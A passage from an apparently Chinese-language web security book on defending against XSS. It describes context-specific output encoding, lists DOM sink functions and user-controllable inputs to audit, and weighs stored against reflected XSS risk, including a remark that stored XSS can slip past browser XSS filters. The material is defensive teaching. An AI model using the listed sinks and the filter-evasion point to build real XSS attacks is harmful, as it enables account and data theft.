页面渲染后的HTML代码效果

onclick事件执行了两次“alert”,第二次是被XSS注入的。

执行恶意代码

那么正确的防御方法是什么呢?

首先,在“$var”输出到<script>时,应该执行一次javascriptEncode;其次,在docu-ment.write输出到HTML页面时,要分具体情况看待:如果是输出到事件或者脚本,则要再做一次javascriptEncode;如果是输出到HTML内容或者属性,则要做一次HtmlEncode。

也就是说,从JavaScript输出到HTML页面,也相当于一次XSS输出的过程,需要分语境使用不同的编码函数。

DOM based XSS的防御

会触发DOM Based XSS的地方有很多,以下几个地方是JavaScript输出到HTML页面的必经之路。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19
document.write() document.writeln() xxx.innerHTML= xxx.outerHTML= innerHTML.replace document.attachEvent() window.attachEvent() document.location.replace() document.location.assign() ……

需要重点关注这几个地方的参数是否可以被用户控制。

除了服务器端直接输出变量到JavaScript外,还有以下几个地方可能会成为DOM Based XSS的输入点,也需要重点关注。

页面中所有的inputs框

1 2 3 4 5
window.location(href、hash等) window.name ?document.referrer document.cookie ?localstorage

XMLHttpRequest返回的数据

……

安全研究者Stefano Di Paola设立了一个DOM Based XSS的cheatsheet,有兴趣深入研究的读者可以参考。

换个角度看XSS的风险

前文谈到的所有XSS攻击,都是从漏洞形成的原理上看的。如果从业务风险的角度来看,则会有不同的观点。

一般来说,存储型XSS的风险会高于反射型XSS。因为存储型XSS会保存在服务器上,有可能会跨页面存在。它不改变页面URL的原有结构,因此有时候还能逃过一些IDS的检测。比如IE 8的XSS Filter和Firefox的Noscript Extension,都会检查地址栏中的地址是否包含XSS脚本。而跨页面的存储型XSS可能会绕过这些检测工具。

从攻击过程来说,反射型XSS,一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储型XSS,则只需要让用户查看一个正常的URL链接。比如一个Web邮箱的邮件正文页面存在一个存储型的XSS漏洞,当用户打开一封新邮件时,XSS Payload会被执行。这样的漏洞极其隐蔽,且埋伏在用户的正常业务中,风险颇高。

从风险的角度看,用户之间有互动的页面,是可能发起XSS Worm攻击的地方。而根据不同页面的PageView高低,也可以分析出哪些页面受XSS攻击后的影响会更大。比如在网站首页发生的XSS攻击,肯定比网站合作伙伴页面的XSS攻击要严重得多。

在修补XSS漏洞时遇到的最大挑战之一是漏洞数量太多,因此开发者可能来不及,也不愿意修补这些漏洞。从业务风险的角度来重新定位每个XSS漏洞,就具有了重要的意义。

小结

本章讲述了XSS攻击的原理,并从开发者的角度阐述了如何防御XSS。

理论上,XSS漏洞虽然复杂,但却是可以彻底解决的。在设计XSS解决方案时,应该深入理解XSS攻击的原理,针对不同的场景使用不同的方法。同时有很多开源项目为我们提供了参考。

浙ICP备11005866号-12